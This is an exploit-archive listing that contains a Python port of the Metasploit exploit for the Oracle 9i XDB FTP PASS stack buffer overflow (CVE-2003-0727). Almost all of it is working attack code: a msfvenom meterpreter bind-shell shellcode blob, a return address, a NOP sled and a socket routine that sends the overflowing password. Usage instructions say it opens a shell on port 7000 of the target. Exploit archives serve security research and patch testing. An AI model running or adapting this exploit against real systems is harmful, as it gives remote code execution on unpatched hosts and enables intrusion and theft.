Oracle 9i XDB FTP Pass Overflow

2016-02-03T00:00:00
ID PACKETSTORM:135572
Type packetstorm
Reporter MC
Modified 2016-02-03T00:00:00

Description

                                        
                                            `'''  
Oracle 9i XDB FTP PASS Overflow (win32)   
Ported to python from the Metasploit oracle9i_xdb_ftp_pass.rb exploit  
Original exploit:  
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb  
  
Description from original exploit:  
By passing an overly long string to the PASS command, a  
stack based buffer overflow occurs. David Litchfield, has  
illustrated multiple vulnerabilities in the Oracle 9i XML  
Database (XDB), during a seminar on "Variations in exploit  
methods between Linux and Windows" presented at the Blackhat  
conference.  
http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf  
  
CVE: 2003-0727  
OSVDB: 2449  
BID: 8375  
  
Date: 2/2/2016  
Ported by: Tom Ryans  
Tested on: Win 2000 SP4  
  
Usage: oracle9i_ftp_pass.py target_ip target_port  
ex. oracle9i_ftp_pass.py 127.0.0.1 2100  
  
Spawns meterpreter bind shell on port 7000.  
'''  
  
#!/usr/bin/python  
  
import sys, socket  
  
if len(sys.argv) != 3:  
print "Usage: %s target_ip target_port" % sys.argv[0]  
sys.exit()  
  
host = str(sys.argv[1])  
port = int(sys.argv[2])  
  
#msfvenom -p windows/meterpreter/bind_tcp lport=7000 EXITFUNC=thread -b "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40" -f c  
shellcode = (  
"\xdb\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x4b\xbd\xe8\xe3\x74"  
"\x4e\x83\xc3\x04\x31\x6b\x16\x03\x6b\x16\xe2\x1d\x1f\x9c\xcc"  
"\xdd\xe0\x5d\xb1\x54\x05\x6c\xf1\x02\x4d\xdf\xc1\x41\x03\xec"  
"\xaa\x07\xb0\x67\xde\x8f\xb7\xc0\x55\xe9\xf6\xd1\xc6\xc9\x99"  
"\x51\x15\x1d\x7a\x6b\xd6\x50\x7b\xac\x0b\x98\x29\x65\x47\x0e"  
"\xde\x02\x1d\x92\x55\x58\xb3\x92\x8a\x29\xb2\xb3\x1c\x21\xed"  
"\x13\x9e\xe6\x85\x1a\xb8\xeb\xa0\xd5\x33\xdf\x5f\xe4\x95\x11"  
"\x9f\x4a\xd8\x9d\x52\x93\x1c\x19\x8d\xe6\x54\x59\x30\xf0\xa2"  
"\x23\xee\x75\x31\x83\x65\x2d\x9d\x35\xa9\xab\x56\x39\x06\xb8"  
"\x31\x5e\x99\x6d\x4a\x5a\x12\x90\x9d\xea\x60\xb6\x39\xb6\x33"  
"\xd7\x18\x12\x95\xe8\x7b\xfd\x4a\x4c\xf7\x10\x9e\xfd\x5a\x7d"  
"\x53\xcf\x64\x7d\xfb\x58\x16\x4f\xa4\xf2\xb0\xe3\x2d\xdc\x47"  
"\x03\x04\x98\xd8\xfa\xa7\xd8\xf1\x38\xf3\x88\x69\xe8\x7c\x43"  
"\x6a\x15\xa9\xf9\x61\xb0\x02\x1f\x88\x28\xa2\xb5\x71\xc5\x4e"  
"\x46\xa9\xf5\x70\x8d\xc2\x9e\x8c\x2d\xf6\x06\x18\xcb\x62\xa7"  
"\x4c\x44\x1b\x05\xab\x5d\xbc\x76\x99\x24\x82\xfc\x7a\x71\x6b"  
"\x48\x93\x45\x94\x49\xb1\xe2\x02\xc2\xd6\x37\x32\xd5\xf2\x10"  
"\x23\x42\x88\xf0\x06\xf2\x8d\xd9\xf3\xf4\x1b\xe5\x55\xa2\xb3"  
"\xe7\x80\x84\x1b\x18\xe7\x96\x5c\xe6\x76\xb4\x17\xd0\xec\x86"  
"\x4f\x1c\xe1\x06\x90\x4a\x6b\x07\xf8\x2a\xcf\x54\x1d\x35\xda"  
"\xc8\x8e\xa3\xe5\xb8\x63\x64\x8e\x46\x5d\x42\x11\xb8\x88\xd1"  
"\x56\x46\x4d\xd2\xa7\x84\x98\x1a\xd2\xe3\x18")  
  
  
user = "A" * 10  
# return address from Metasploit module: 0x60616d46 oraclient9.dll (pop/pop/ret)  
ret = "\x46\x6d\x61\x60"  
prependencoder = "\x81\xc4\xff\xef\xff\xff\x44" #from Metasploit module  
nops = "\x90" * (800 - len(shellcode) - len(prependencoder))  
  
buff = "A" * 442 + "\xeb\x06\x90\x90" + ret + nops + prependencoder + shellcode  
print " ++++++++++++++++++++++++++++++++++++++++++++"  
print " + Oracle 9i XDB FTP PASS Overflow exploit +"  
print " +++++++++++++++++++++++++++++++++++++++++++++"  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((host,port))  
print s.recv(1024)  
print "Sending %s size payload..." % len(buff)  
s.send("USER " + user + "\r\n")  
s.send("PASS " + buff + "\r\n")  
print "Payload sent...."  
print "Check port 7000 for meterpreter shell..."  
s.close()  
  
  
  
`